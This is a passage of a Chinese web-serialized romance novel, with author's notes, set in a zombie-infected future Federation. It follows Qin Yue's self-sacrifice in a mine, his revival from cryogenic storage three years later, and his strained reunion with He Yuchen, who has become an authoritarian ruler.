秦越想拦住他,可是贺煜臣跟下定了决心一般,他压住秦越的手腕,微微用力。面具挡住了贺煜臣的大部分面容,秦越一时看不出对方是什么表情。 “怎么了?”贺煜臣偏过头,“下面有什么东西是我不能看的?” 秦越震惊于贺煜臣的脑回路。 他想收回之前的话,贺煜臣就是个容易被骗的傻子。自己下矿区连五分钟都没有,贺煜臣就被直愣愣地给骗进来了。 没有任何技巧,也没费什么力气,就干干脆脆地跳进了这个“圈套”里。 贺煜臣顺着秦越过来的方向,找到了那处升降机,他同样也试探着按了按一侧的扳手。 不同的是,秦越没有办法使机器正常运转,但贺煜臣动用了自己的能力。 锈迹在肉眼可见地被清除,很久没有上过润滑油的启闭螺杆变得光滑如新。 之前被铁锈卡死的铰链开始缓缓运作,令人牙酸的“咣当咣当”声在阴森的矿井里回荡着。 贺煜臣做了一个邀请的手势,秦越不情不愿地跟了过去。 由于升降机太小,只能上来几个人,其余的人只好在高台处待命。 距离越往下,空气就愈发的阴冷,没有人说话,只有机械单调重复的工作声。贺煜臣安排剩余其他的人守在这个升降机旁,毕竟所有人出去都只能指望这台老旧机械。 秦越他们沿着矿车的轨迹走了大约一百米的距离,不远处开始出现拖拽痕迹。 贺煜臣脸上浮现戒备之色,他关上氙气灯,微微侧头,通过带着的耳麦下达指令给秦越:“掩护我。” 矿道里失去了氙气灯的光源,只有一些荧光应急灯,能勉强看清脚下的路。 秦越一个头两个大,当初说好他来做诱饵,结果贺煜臣反倒冲在了他前面。 “不。”秦越强硬地穿插到贺煜臣身前,“你掩护我。” 贺煜臣咬牙,“你都不能使用异能,还在这逞什么强?” 秦越凉凉开口:“对啊。要是你打头阵的话,万一倒霉地挂了,我依旧是死路一条。” 他说得好像很惜命一样,走在前面只是为了方便身后的贺煜臣作战,但贺煜臣知道根本不是那么回事。 贺煜臣只好再一次扩大自己的异能范围。 “以太”是个很神奇的能力,哪怕贺煜臣觉醒的很早,也无法完全地掌握它。 它是世界万物的组成基本,是各种东西运行的媒介。贺煜臣可以用这种能力分解掉物品,同样也可以运用这种能力,改变自己的发声频率,像蝙蝠一样在黑暗里接收声波,来回声定位。 贺煜臣停住了脚步:“有东西。” 没过多久,传来一阵很凌乱的脚步,听着不像是感染者那种大开大合的步伐,倒像是……在逃命。 在一片漆黑中,秦越反应很快地避开了一个模糊的人形轮廓。对方就没那么好运了,跟在秦越身后的贺煜臣果断地一脚把人放倒。 膝关节错位的咔嗒声混着男人跪倒的闷哼,对方愣是没敢大声喊痛,像是怕引来更恐怖的东西。 秦越捡起地下散落的荧光灯,举到那个人面前。 ……是顾夜霖—— 作者有话说:顾夜霖:喂,你好?我是男二就猛踹我,这对吗[裂开] 昨天出差,明天还出差[裂开]努力隔日更叭 第55章 顾夜霖透过幽幽的荧光灯,同样也认出了秦越,脸上隐忍的疼痛瞬间变成了无声的惊恐。 他一时间不知道是不是从一个魔窟掉进了另一个。 见到秦越靠过来,哪怕自己膝盖钻心的疼,顾夜霖仍旧努力地跟他拉开距离。 秦越见状,便招呼贺煜臣过来看一下他的情况。 贺煜臣因为刚刚不知道来的东西是敌是友,他是以废了来人行动能力为目的,下手完全没有留情。当他发现对方是顾夜霖后,眼里还是流露出诧异。 贺煜臣视线不动声色地掠过秦越,最奇怪的人是他。秦越声称自己是为了解救部下而来。但他见到顾夜霖时,态度十分自然,似乎早就对顾夜霖会出现在这里有了心理准备。 这么想着,贺煜臣的动作不由地迟疑起来。 秦越眼瞅着顾夜霖的脸色快比荧光灯还绿了,忍不住出声提醒:“他好像快晕过去了。” 贺煜臣闻言,半蹲下身检查顾夜霖的伤势,上辈子他和顾夜霖虽然接触的时间很短,只有在废墟遗迹的短短几个月时间,短暂到他还没来得及了解这个人,下一秒睁眼又跌落回了那处泥坑。 他其实已经快记不起顾夜霖的声音了。 不过无论怎么说,顾夜霖都曾经帮助过他,现在自己反而把他伤了,贺煜臣多少有些过意不去。 顾夜霖还没有与贺煜臣见过面,他只看过贺煜臣的影像和照片,加上这里环境昏暗,他也没有认出来对方是贺煜臣。看到一个黑乎乎的人影,他同样是警惕至极。 特别是这人还是不久前伤了自己的罪魁祸首。 贺煜臣见到顾夜霖又想像泥鳅一样往后面蛄蛹,眼疾手快地按住了他。 军部的仪器可以扫描肢体,粗略检查一些伤势。虽然不如医院诊断的细致,在战场上救急却已足够。 贺煜臣初步判断对方只是太过虚弱,外加精神极度紧张,外伤仅仅来自膝关节错位。 “你怎么会在这?”贺煜臣确定完对方的疼痛来源并不致死后,只隔着对方的裤子喷了一些止痛喷雾,就当做是处理完伤口了。 看着顾夜霖依旧魂不守舍,他沉吟片刻问道:“这里只有你一个人?” 顾夜霖点了点头,又摇了摇头。 极端惶恐下,语无伦次,“不是只有我,但是,他们都死了……” 贺煜臣下意识看向秦越,毕竟他们来到这里的初衷是为了救升棺的人。他认为秦越可能会难过,再不济也是失望。 但秦越看起来有些……焦虑? 秦越:“你就喷点镇痛剂?这能行吗。”他表情严肃地看着站不起来的顾夜霖,不由自主地替贺煜臣操心,顾夜霖作为男主的前左膀右臂,日后不会因为落下病根,然后跟贺煜臣分道扬镳吧。 贺煜臣视线落在浑身发抖的顾夜霖身上,默然起身。他将医疗仪器收了回去,俨然一副治疗已经结束的样子。 秦越:“……” 他试图缓合一下两者关系,以免让顾夜霖觉得贺煜臣太过不近人情,“这里离升降机不远,先把他带回地面。” 贺煜臣先是怔愣,然后意味不明地看了秦越一眼,缓缓翘了一下嘴角。 笑容弧度很小,但还是被秦越捕捉到了端倪。在这种幽暗的环境里,这种表情只会让人脊背发寒,秦越蓦地眼皮一跳,警铃大作。 “你知道吗,出发前我有一个部下告诉我,你可能想要我的命。” 贺煜臣凑了过来,似乎是在仔细辨认着秦越的长相,半晌他吐了一口气,像是在叹息。 他忽然贴近秦越脸侧,这是一个亲密的姿势,贺煜臣离那么近,如同情人耳鬓厮磨,说出的字眼却让秦越始料未及。 “你不是秦越。” 气氛瞬间诡异到了极点。 ……这可真是他妈的太有惊悚效果了。秦越猛地推开贺煜臣,心脏开始狂跳不止,他勉强维持住表情:“你在说什么乱七八糟的?” 贺煜臣抿唇,过了几秒他释然道:“你不想说我也不会逼你。不过,你要是想在别人面前演好秦越,就不要说这样的话了。” “毕竟,秦越可不会在乎别人的死活。”贺煜臣察觉到秦越的抗拒,便想结束这个话题。 贺煜臣不在乎眼前人是谁。 反倒是如果这个人不是他所认为的那位秦越,那么很多事情就变的有迹可循。 秦越有点心虚地绕过贺煜臣,走到昏死过去的顾夜霖身边。 好歹贺煜臣给了他点面子,没再继续分析,否则保不齐这个世界意识会给他些“小处罚”。 贺煜臣语气平平:“他是太过紧张才晕过去的。”言下之意是顾夜霖不会死。 秦越将顾夜霖的胳膊抬起,刚准备揽过他的腰把人抬起来,另一只戴着作战手套的胳膊打断了他的动作。 “我来。” 贺煜臣半扶着昏迷的人,轻轻松松地站了起来,那具死沉的身体在贺煜臣这里仿佛轻若无物。 不过贺煜臣情绪似乎有些低落。在黑暗里,秦越也看不太清贺煜臣的表情,但总觉得对方目光若有若无地落在自己身上。 “你很担心他。”贺煜臣漠然开口。 秦越正要过去从另一侧半托住顾夜霖,想替贺煜臣分担重量,冷不丁地听到贺煜臣的话,他脚下立刻一个急停。 贺煜臣:“我还以为……”他没说下去,自嘲的声音通过耳麦清晰地传到秦越的耳边。 ……我还以为你对我是特殊的,原来只是我一厢情愿。 贺煜臣侧过头,难过地拖着顾夜霖继续前行。 他天真的被一点点示好给圈住了,困死在里面,固执地不愿意出来。 低沉的呼吸声加上偶尔的荧光灯条闪烁,这一切莫名让秦越心烦意乱,他还没弄懂自己的情绪,头顶突然传来碎石坠落的簌簌声。 矿道在震颤。 两个人瞬间将刚刚的不愉快抛之脑后,一齐向墙边靠去。他们后背都紧贴矿坑墙壁,岩壁有点潮湿,让人感到不适。 但真正让人不适的是那些密密麻麻的窸窣声——不是塌方,是什么东西擦过矿车轨道的声音。 顾夜霖被碎石掉落的动静弄醒,他迟钝的眼珠缓慢钻了一圈,听到了熟悉的摩擦声后彻底了清醒过来,惊惧重新占据了他的瞳孔。 “是感染者来了!” 贺煜臣冷静地按住跟条离水的鱼一样扑腾的顾夜霖,“为什么地下会有感染者?” 顾夜霖想跑,但被贺煜臣钳制住了动弹不停,他嗓音中夹杂着模糊的呜咽,似乎是回忆起来什么场景。 “为什么会有……”他脸色惨淡,“因为这是它们储藏食物的地方。” 腥臭味顺着矿道的通风口飘来,贺煜臣明白了他的意思,顾夜霖他们都只是感染者的储备粮。 秦越估摸了一下他们离升降机的位置,不紧不慢道:“挺厉害的,它们居然还懂可持续发展。” 顾夜霖吃惊地望着他,不明白怎么会有人这时候还说些有的没的。 感染者应该是没有找到他们的方位,矿道的震动暂时停住了。秦越这时候也来不及考虑贺煜臣怎么想的了,不由分说挟持似的带着顾夜霖往唯一的逃生平台冲去。 他们一行动,被按了暂停键的感染者,就跟寻着鲜活血肉味道的野兽一般,再一次跟了上来。 停留在升降机盘的士兵们早就听见了,只是军令如山,他们哪怕再担心少将的安危,也不能擅自离开岗位。 正当这些人心焦难耐时,终于等到了三个人影,他们见此情况很快反应过来,赶紧将行动不便的顾夜霖接手过来,并立刻打开控制扳手。 “别相信任何人。”秦越深深看了贺煜臣一眼,然后力道坚定地把人一把推上了升降机。 包括共辉盟。 共辉盟嘴上说着要人类团结,实则为了掌握废墟遗迹,也会想直接要了秦越的命。他们根本没有谈判的耐心,只想一步走到他们认为正确的道路,哪怕为此要牺牲一些“无伤大雅”的人。 原文里贺煜臣前期还因为共辉盟理念相近,曾与之携手并进,后来发觉到对方只是为了更多底层奴隶的意图之后,已经有些晚了。共辉盟在大众眼里跟红杉会不是一丘之貉,形象很正面,所以要切割出这些共辉盟的人,贺煜臣为此又是一番伤筋动骨。 提醒你少走一点错路,这是我最后能为你做的事情了。 贺煜臣意识到秦越的不对劲,想伸手去抓住秦越,可是部下早已有所准备,前前后后地把他拦住了。 “少将,这上面承载不了那么多人……” 是了,多出一个顾夜霖,那么必定就要减去一个人。 那么要让谁下去呢? 贺煜臣浑身发冷,顿时慌了神,失魂落魄之下他想强迫自己要冷静,可是喉咙却干涸到难以说话。 他觉得那个身影离自己愈发得遥远。 升降机启动了,甚至比他们下来的速度更快,有人在用异能在控制着这个机械。 贺煜臣控制不住地颤抖,他失控地扑到升降机的栏杆边,看见那个男人的轮廓已经变得更加模糊,异能的波动就是从他的位置散发出来的。 秦越将贺煜臣遗留下来的氙气灯毫不犹豫地扔向矿道,久居黑暗的感染者被强光刺激得发出地动山摇的尖啸。 它们正从矿道深处源源不断地涌出。 贺煜臣感觉到自己眼眶发热,他想自己应该是快要哭了。生理上的反应总是比大脑下达的命令来得更快,也更诚实。 “你要是死了,你是知道后果的!”贺煜臣哑着嗓子,仿佛又回到了秦越朝着额头开枪的那一刻。 只是这一次他没有办法阻止这一切。他可以任性地要求回去,但结果也许就是带着下属全军覆没。 贺煜臣开始痛恨自己,直到这种时候,理智依旧死死地占据上风。他想随心所欲一次,可就像循规蹈矩的好学生被束缚住了手脚。 他不知道秦越有没有听清,自己声音太过喑哑,听起来还丢人的带着颤音。 不过……也许根本没有威胁到秦越,他就只是自顾自得把满腔的情绪发泄出来,而秦越什么都不在乎。 隐约中,贺煜臣看见秦越似乎背朝他挥了挥手。 这是表示他知道了,还是说…… 耳麦那头原本还有秦越的呼吸声,陡然间只剩下微弱的电流声。 是秦越单方面切断了通信设备。 “秦越!”贺煜臣的拳头砸向升降机的控制台。这一刻他情绪复杂,说不清是为秦越毫无留恋的态度而愤怒,还是胸腔被灼烧后只剩余烬的痛苦。 他再也听不见秦越的声音了—— 作者有话说:秦越:下班! 第56章 冷。 每一个细胞都在颤抖。 秦越缓了好一会,才勉强把眼皮掀开。 一睁眼,是刺眼的白。 在适应了这种白色后,秦越又被之前的冷意所笼罩,他快被冻僵了,长睫上也挂着白霜。 这是哪? 秦越勉强举起不听使唤的胳膊,推了推面前的白色,触感一片冰凉坚硬。他明白过来,这是一处类似冰层的东西。 秦越发觉自己是躺在一个什么地方,这里温度很低,空间也不算大,只够抬的起手。 他眼睁睁地看着白色在眼前变得模糊,意识到好像要被冻晕过去了。 好在这时熟悉的声音响起,[宿主,休息得还行吗?] 秦越在这个狭小的空间里,被迫跟系统大眼瞪小眼。被冻僵的脑子卡了半天,他才憋出一句话,“助攻局里完不成任务还有处罚?” 系统瞬间不亮了,秦越居然在一个光球脸上看出了生无可恋。 系统看着像快要背过气去了,[有没有一种可能,您并没有离开这个世界。] 不过它没等秦越回答,就先在外部把这个拘禁秦越的“棺材”打开了。 秦越艰难地伸出手,扒住外壁努力地翻了出来。等到了外面,秦越发现这其实是一个低温仓。 他呼出一口带着寒意的气体,刚准备往外面走去,想弄清楚这到底是哪里,结果他刚走一步,差点腿一软,就地摔倒。 秦越放弃了,神情难得带着点还不清醒的呆怔,“所以这是哪?” 系统看见秦越没有冻得那么难受了,决定好好给他恶补一下过去的事情。 [这里当然是联邦,如您所见,您一直在低温仓里。还有,您可是联邦第一批使用人体冷冻技术的人呢。] 秦越更懵逼了,“等会,我不是该脱离这个世界了么?” 按系统的意思,他貌似被冷冻的时间还不算短,可在矿坑里的事情,对秦越来说,只不过是几分钟之前。 秦越还是没法接受自己眼一闭一睁,时间就过去了很久。 系统看着秦越不太舒服的样子,便快速地解释了一番:[死遁的前提得是您死了,可是这具身体在这个世界并没有被判定死亡,所以您刚被传送走又给传回来了。] 秦越听到系统的话,表情有些困惑,“我怎么可能还活着?” 他记得很清楚,为了保证贺煜臣他们离开矿道,他明明被淹没在感染者的洪流中。当时秦越还担心自己这边声音太过血腥,还贴心地把通讯掐断了。 怎么一眨眼,系统却跟自己说没触发死亡这个条件。 系统叹了一口气:[您确定要在这继续聊天吗?您的低温冷冻仓被我从外部打开了,联邦医疗署的人已经发现情况了,他们检查的人员很快就要到了。] 秦越还不知道自己躺了多久,但他觉得指挥自己的手脚很困难,走廊里已有一些脚步声,秦越当机立断地躲在门后。 酷似低温仓库的门被人从外面打开,秦越正好藏在墙壁和门之间。 接着,他就听见了惊恐的尖叫。 “人怎么不见了?!” “是谁能进到这里把人带走啊?” “怎么办?统领要是来了怎么办!” 一个听上去比前面声音年纪更大,也更沉稳的女声轻轻呵斥道:“叫那么大声,是想让所有人都知道吗!” “老师,我刚刚检查了一下,是从外部打开的。”说话的是个年轻人,他明显过了慌张的阶段,开始有条理地跟被称作老师的女人交代情况。 女老师似乎是走近低温仓,在仔细观察情况,“先瞒下来,去调查监控,以及去查为什么警报没响。” 年轻人声音听上去很镇静,但害怕是藏不住的,“统领那边怎么交代?” “你们还傻站在这干什么?我让你们查监控,就是去找那个该死的偷实验体的人,到时候统领来了,我们把他交出去还能活命。”女老师发怒地锤了一下低温仓,“找不到那个人,咱们挨个等着被处决吧!” 她喘着粗气,快步走了出去。 其他人愣了半天,低着头三三两两,松散地往外走,像是无望地走向刑场。 秦越松了一口气,这群人都觉得有人带走了他,没一个想到是自己醒了,自然也不会认为一个大活人会在这个房间里躲起来了。 不过,从这些对话来看,自己貌似得了什么很严重的病。 好在这些人走的时候,也没有重新关门,毕竟这个房间里最值钱的人已经不翼而飞了。 秦越:“我到底在这待了多久?” 系统掏出小本本,继续生无可恋,[大概三年了。我还没办法强制脱离,因为强制脱离必须要宿主同意,我没办法越过您的权限。] 系统毕竟只是一个辅助,它只能眼睁睁地看着自己宿主躺在低温仓里,算不上活着,但也不算死了。 [您失去意识太久了,总局这才发现了这边情况,所以把您给强行唤醒了。] 秦越确定人已经走远了,“想办法让我出去。” 他从这群师生嘴里听见了实验体这个词,怎么听他似乎都是个没有人权的小白鼠。只是他没明白,一个小白鼠不见了,这群做实验的医生为何那么紧张害怕,还想搪塞另一个位高权重的人。 系统一不做二不休,钻进医疗署的内部安全系统中,强制关闭了所有摄像头,同时拿到了各处大门的权限。它还留了一个虚假的监控影像,让这群没了摄像头的人,误判了秦越离开的方向。 [您还能走吗?]系统犯愁地挠了挠脸,[我把这群人支走了,但您最好还是快点。] 这些人也不是好忽悠的笨蛋,估计要不了几分钟,就会意识到自己被耍了。 秦越按着系统的指引,在医疗署的人发觉不对劲前,使用了系统复制来的权限通过大门。 秦越根本没法安下心,他一出门就看见街上列队巡逻的士兵,也来不及细想为什么街上会有那么多的军人,只得避开了这些人的巡视,最后来到了一处绿植颇丰的公园。 终于有了喘息的机会,秦越问了那个最关键的问题,“我是被谁从矿道里救出来的?” 系统倒是被问愣住了,[您真的一点都不记得了么?] 秦越头疼地坐在空无一人的公园里,他不知道这里怎么一个人也没有,不过这样也好,省的他还要躲躲藏藏,“我只记得,自己被感染者咬了。” 他还清楚地记得感染者腥臭的口气,和那一口锋利尖锐的鲨鱼齿。想到这他撩起衣袖,看了一眼胳膊。 要不是上面有一道残留的斑痕,秦越都要觉得自己是在做梦了。 对了。秦越蓦然抬起头,一把薅住系统,“我应该是被感染了啊。” 按理说他就算侥幸没被感染者吃了,现在他也应该是个会逮着活人一顿啃的感染者啊。 系统在秦越手中挣脱不开,只好猛猛点头,[啊对对对,这才是您被送进低温仓的原因啊!低温让细胞活性降低,延缓了您变异的速度,这才让您还保留一些人类的理智。] 它拿出一个镜子,举到秦越眼前,[您还没见过自己的样子吧……] 秦越只看了一眼,就错开了目光。 倒不是说他变得面目全非,形象不堪入目,只不过他最先瞥到的是自己的眼睛。已经不再是之前泛着血色的瞳孔,而是像覆盖了一层白翳一般,虹膜变得浑浊不堪。 看着跟死了也差不了多少了。 系统好心地提醒:[您最好也别怎么用力碰您的皮肤,搞不好就会把皮肤表层搓下来。] 秦越刚抬起的手,就不上不下地顿在半空中。他是近距离跟感染者接触过的人,那些腐烂的外表,和不长在正确位置上的器官,让秦越记忆犹新。 安装在草坪里的扩音器突然开始播报了,毫无感情的主播声音在没有人气的公园里,还带着空洞的回响,把毫无心理准备的秦越吓了一跳。 【各位公民您好。请注意,目前宵禁仍未取消。如果您违法禁令,将按照联邦法规第一百二十四条进行处罚。】 这里一个人没有,也不知道这个播报是给谁听的,也许是善意的警告,不过更可能是通知这些还没回家的人,被抓到之后面临的可怜下场。 秦越还在不明所以,怎么联邦突然有了宵禁? 播报还未结束,【联邦境内正处于紧急戒严状态,为了您的安全起见,如无必要,请避开一区和四区,以及需按时上报家庭信息,以便军方进行排查工作……】 秦越不可置信道:“这还是联邦吗?” 他对联邦的认知还停留在对普通人的压迫上,怎么眨眼间变成了这幅鬼样子。 秦越虽然从刚刚医疗署那些人的嘴里听出了些端倪,但到了现在,他才算直面这种恐怖压抑的氛围。 他慌了几秒钟,就冷静下来,问道:“贺煜臣呢?他在哪?” 贺煜臣怎么会任由联邦从一个极端走向另一个极端,这绝不是他的作风。 系统定定地看着他,半晌才回答:[宿主您还记得您留给贺煜臣的最后一句话吗?您说……] ……不要相信任何人。 原文里贺煜臣本就有些独权,而秦越的“遗言”以及他自己的遭遇,让贺煜臣逐渐变本加厉。特别是秦越出事后不久,原本身体硬朗的贺元帅突然一病不起,撑了几个月就去世了。 这成了压死骆驼的最后一根稻草。 于是,联邦的黑夜来临了。 秦越心里涌出一个最糟的猜测,他不可置信:“这是贺煜臣做的。” 第57章 系统长吁短叹,[是的,联邦内部的血洗和肃清持续了很久。] 贺煜臣虽没有滥杀无辜,但弄得联邦人心惶惶。大家在这种高压的政策下,不断地滋生畏惧和猜忌。 秦越垂眸,双手有气无力地垂了下来,整个人都恹恹的。 系统瞧着秦越这罕见的模样,委婉道:[不过您要是想直接强制脱离的话,我去打个报告就好。] 秦越不置可否,他自从出了低温仓后,看东西就不是很清楚了,但听力却敏锐了很多。 他侧过头,鼻翼间嗅到一股冷冽的雪松香。只不过在这木质调的柔和气息下,是若有若无的血腥气。 来人迁就似的在秦越面前半跪下来,和他身上的香水味道一样,对方说话温柔平和,“你怎么跑出来了?” 见到秦越直白地无视自己,男人也不恼,只是轻轻将手覆在秦越的膝盖上,“是记不得事情了么?别怕,我不会伤害你的。” 人体冷冻技术还在研发初期,没人知道大脑细胞间的信号传输在复苏后会不会变得混乱。 秦越“看”向来人,“我什么都记得。” 男人脸上的笑意还未展开,就因为秦越的下一句凝固了。 秦越直白地有些残忍:“贺煜臣,你不该救我的。” 贺煜臣垂眸看了一眼面无表情的秦越,重新躁动的心再一次沉寂了下去。他缓缓直起身,空落落的手无意识地攥紧,直到疼痛让他恢复了几分理智,“你是在怪我救你?” 他以为秦越是见到自己样貌变得与常人不同,心里不高兴了。 秦越神色有些迷茫,像是自言自语道:“我在想是不是我做错了。” 如果他按照剧情老老实实一步一步地走下去,这个世界也许根本不会变成这个样子。 贺煜臣目光落在随行的人身上,不仅有军队还有医疗署的人,他们正是不久前秦越见到的那帮师生。 为首的女老师顶着贺煜臣轻扫而过的视线,硬着头皮上前几步,走到秦越面前。 “介于您目前的身体状况,我们建议您立刻回到医疗署。” 在联邦,她还没见过这种需要大统领亲自劝说的人物。 秦越闻言略微抬头,只不过他并没有朝着女老师的方向,而是望向贺煜臣。 这场无声的对峙也许只持续了几秒钟,可在场的所有人都倍感煎熬。 贺煜臣站在不远不近的地方冷眼旁观,他神色如常,但细看眼底已经怒意盎然。他忽然笑了一下,对着医疗署的人说道:“看来他似乎不愿意跟你们回去。” 女老师僵在原地,至于其余的学生,他们根本不敢抬头看贺煜臣。 终于有人承受不住这种头悬达摩克利斯之剑的恐惧了,年纪尚小的学生们直接捂住脸痛哭起来。 他们瞬间抽噎一片,瑟瑟发抖,想逃却又无处可去,哭声中还夹杂着几句老师救救我,我还不想死的哀嚎。 女老师惨白着一张脸,她压根不认识秦越,但实验体逃出去她自己确实难逃其咎。更令她费解的是,贺煜臣明明可以直接把人掳走,但非要眼前这个男人自己主动承认愿意跟他走。 她顿感自己的脑袋岌岌可危,祈求地对秦越说:“您能不能配合我们治疗,否则您变成感染者只是时间问题,我……” 秦越不由地皱眉,周围哭哭啼啼的声音让他注意力分散,根本没法集中精神听对方说的话。 他突然出声:“我知道了。” 秦越能听出贺煜臣在生气,可问题是他自己这会也压着火。贺煜臣真是出息了,现在都敢拿别人的命威胁自己了。 女老师心里莫名一紧,她眼巴巴地等着秦越的下文,是死是活就指望着秦越的回应了。 只不过对方没说话了,空洞无神的眼珠转了转,像在找什么人。 片刻后,他准确地找到了贺煜臣的方位,然后就朝着位高权重的统领伸出手。 女老师还没搞懂秦越这什么意思,就听见秦越随意说道:“过来,扶我一下,我看不清路。” 随行的人陡然倒抽一口冷气,视线下意识地移开方向,他们生怕见到一个愠怒的贺煜臣,以及接下来可能过于血腥的场景。 等了很久,也没听到什么惨叫声,他们才梗着脖子又转了回去。 贺煜臣迟疑了一会,烦躁地叹了口气。他阖上眼定了定情绪,压下心中的不快,小心谨慎地牵起对方的手,他不敢用太多的力气,只是虚虚握住秦越的手掌。 那时在矿道里,贺煜臣引以为豪的理智还是败下阵来。他脑海里只有一个念头,如果不回去,自己一定会后悔。 虽然救下了秦越,可是对方依旧已经被感染了。贺煜臣在回联邦的路上,一直勉强地运用异能牵制着那些蠢蠢欲动的变异细胞。 医疗署的人见到秦越,就直言可以放弃了。但巧的是,医疗署与首都医学院正在合作研究人体冷冻技术,主导这项研究的教授认为秦越是个完美的实验体,他被感染了,不过又没有被完全转换,是个珍贵的研究对象。 可是这位教授,也就是眼下这个被称为老师的女人,当时还不知道这个被送来的男人是谁。她本以为只是一个普通的“小白鼠”,可以随心所欲地采集数据,进行医学研究。 随着统领隔三差五地拜访,他们意识到了这根本不是什么实验体,简直是个只能被供着的活爹。 虽然不能真的对秦越做什么实验,但因为贺煜臣的参与,医生们惊奇地发现,贺煜臣的异能似乎可以分解感染细胞,这对现下的医疗体系来说,是重大的突破。 但是还没等他们乐上几天,“实验体”不见了。 秦越蹙眉,他看不清楚周围,但这种所有人都不敢大喘气的氛围让他莫名窒息,“你究竟都做了什么?” 贺煜臣带着秦越走得很稳,听到秦越略带指责的话语,他睫毛一抖,张了张嘴想辩驳什么,但还是先提醒秦越面前有台阶,待秦越走到平地上,他才开口:“你怎么开始关心联邦的事了。” “我是关心联邦吗,我是关心……”秦越拽住他,贺煜臣怕伤了秦越,只好顺着力道停了下来。 秦越认真地打量着贺煜臣,他视力退化得很快,现在离得那么近,都快看不清贺煜臣的轮廓了。 “你不能再这么继续下去了。” 贺煜臣勉强笑道:“你真的要跟我在这里讨论这些吗?” 周遭的人离得很远,自然不可能听到秦越他们的谈话。秦越看出了贺煜臣并不想多谈,他微微一顿,不赞同地抿了抿唇。 贺煜臣无言地把秦越带回了医疗署,他示意秦越好好地躺回去。 “你这是打算把我冷冻到天荒地老么?”秦越阻止了贺煜臣合上低温仓的动作。 贺煜臣表情收敛了戾气,又变得无害起来,“不。很快你就会好了。” 秦越闻言更紧张了,他直起上半身,摸索着想出去。 在原小说里,贺煜臣的确能够让感染者变回正常人,可这是小说很后期的事情了,因为贺煜臣在无数时间磨炼中,逐步地开发了自己的能力。但贺煜臣现在说一个感染者可以恢复,这就很不对劲了。 “你对自己做什么了?”由于秦越是半坐在低温仓里,随着挣扎的动作,秦越撞到了什么东西,接着听到了一阵凌乱的心跳。 原来他抵住了贺煜臣温热的胸膛。 贺煜臣却像是找到了一个支柱,慢慢地揽住了秦越的肩膀。 他哑声道:“我很害怕。秦越,我只是……我太害怕了。” 我不知道该相信谁,我只能无时无刻地争斗,与反对我的人不死不休。 异能的过度使用足以让医疗署给他下达数个病危通知,不过甚至没有一个人能替他在手术单上签字。他父亲去世之后,母亲在惶惶不可终日中,精神也终于崩溃了。她开始频繁地怀疑经过她房门的佣人,庄园里修建灌木的园丁,甚至开始怀疑自己的儿子已经被替换了。 父亲不在了,母亲时不时犯病,背后是虎视眈眈的共辉盟,贺煜臣不得不时刻紧绷神经。 在这种压力下,贺煜臣有时会觉得自己好累,可那个躺在医疗署的人,也许还能醒过来。他心头的死结,这时反而又成了他咬牙坚持下去的盼头。 秦越静默一瞬,他觉得身为打脸文男主的贺煜臣无所不能,对方会按照剧情安稳地走到最尊贵的位置上,他经常下意识地忽略了对方会困扰,会难过,血肉之躯也会受伤。 一时间,房间里只有两人的呼吸声。 秦越的心微微抽动一下,苦涩的味道沿着舌根一点点扩张领地。他是不是不该把贺煜臣一个人丢在这里? “抱歉。”想到这,秦越叹息了一声,“我以为你一个人没关系的。” 贺煜臣看着他,很轻地理了理秦越的额发。贺煜臣很喜欢替秦越理顺他的头发,因为一般这时候,对方总是一副任由自己摆弄的样子。 “你会留下来的,对不对。” 秦越表情略显复杂,要是对于利益至上的助攻局成员来说,肯定是直接一走了之。就像玩游戏一样,这个周目已经达不成好结局了,最好的办法就是重开一局新游戏。 可是问题是这真的只是一场游戏么? 秦越没说话,系统摸了摸不存在的胡须,老谋深算地说:[宿主,这种问题但凡您会思考值不值得,就证明您心动了。]—— 作者有话说:噩耗,我下周又要出差(我的老天奶,这周五天就出差了三天[裂开]) 第58章 系统十分清楚秦越吃软不吃硬的性格,安然地心死了。 没关系哒。 上个世界它能刷视频刷几十年,这个世界也不过是过眼云烟。 贺煜臣只是做了一个拥抱的姿势,他根本不敢在这具千疮百孔的身躯上,落下一点力气。 秦越不知何时伸出手,揽了一下贺煜臣的腰。 他感受了一下贺煜臣的腰线,不满地皱眉:“你好像瘦了好多。” 明明自己在废墟遗迹那么费心费力,还特意找人做餐食。好不容易把人养得好好的,一睁眼贺煜臣又变得那么憔悴。 秦越用行动表明了态度,他虽然有些不情不愿,但还是乖乖地躺回低温仓里,他阖上眼深吸一口气,“这次别让我等太久了。” 贺煜臣没有犹豫直接合上了低温仓门,他怕自己再多看一眼,就舍不得放手了。 也许是最害怕的事情没有发生,亦或是紧绷的神经短暂的放松了,贺煜臣回到住处之后,难得的陷入沉眠,做了一个梦。 梦里他还是睡在这张床上,只不过身边还留有别人的余温,贺煜臣定定地望着枕头上陷下去的一处小坑,这证明不久前还有人躺在自己的旁边。 贺煜臣清晰地知道自己在做梦。他一直独居,怎么可能会有人跟他住在一起。 还是那么亲密的同床共枕。 贺煜臣从床上起身,循着外面窸窸窣窣的声音,想看看梦里的人是谁。 他耳根有些发热,愈靠近那道身影,他愈发地尴尬无措,如果是做梦,贺煜臣大概已经猜出了对方是谁。 同居的人拿着花洒,正弯着腰仔细地照顾院落里的绿植。 贺煜臣倚在门框上,像是怕惊醒了这个梦,半天才轻轻推了推挂在门框下的风铃。 说是风铃,更像是捕梦网。那些漂亮的羽毛装饰在晨光中熠熠生辉。 铃铛响了几声,男人转过身看见贺煜臣,笑着放下花洒,“今天怎么醒的那么早?” ……不对。 这个嗓音不对。 贺煜臣无声地往后退了一步,纵然在温暖的日光下,依旧忍不住齿冷。 他觉得浑身的血液都凝固了,太阳穴更是突突狂跳,大脑完全处理不了当前看到的情景。 虽然逆着光,但贺煜臣还是认出了他是谁。 顾夜霖姿态自然地凑了过来,看上去是想交换一个早安吻。 贺煜臣呼吸窒了一瞬,他条件反射地把人一把推开。 也许是这样的贺煜臣太反常了,顾夜霖没有被推开的困扰和气愤,他反而担心地问:“是不是又没睡好?”说着顾夜霖拨弄了一下捕梦网,“看来这玩意也没什么用嘛。” 这个梦太离谱了。 贺煜臣感到一阵头晕目眩,他死命地掐住自己的胳膊,可是剧痛之后,梦没是有醒,他仍旧站在这里。 顾夜霖还想凑近,贺煜臣从齿缝里挤出几个字:“别过来。” 他说完跌跌撞撞地冲到房间,找到了一面镜子。 贺煜臣甚至认为自己是不是跟小说里写的一样,穿到了别人的身上。 镜子里面的男人脸色难看,眼白里掺杂着红血丝,眼眶一片鸦青色,死死地盯着镜面。 病态又阴郁。 但毋庸置疑,这是他自己的脸。 贺煜臣捏紧拳头,关节咯噔弹响,他失控地砸向镜面,鲜血顺着镜面的裂缝,蜿蜒地流了下来。 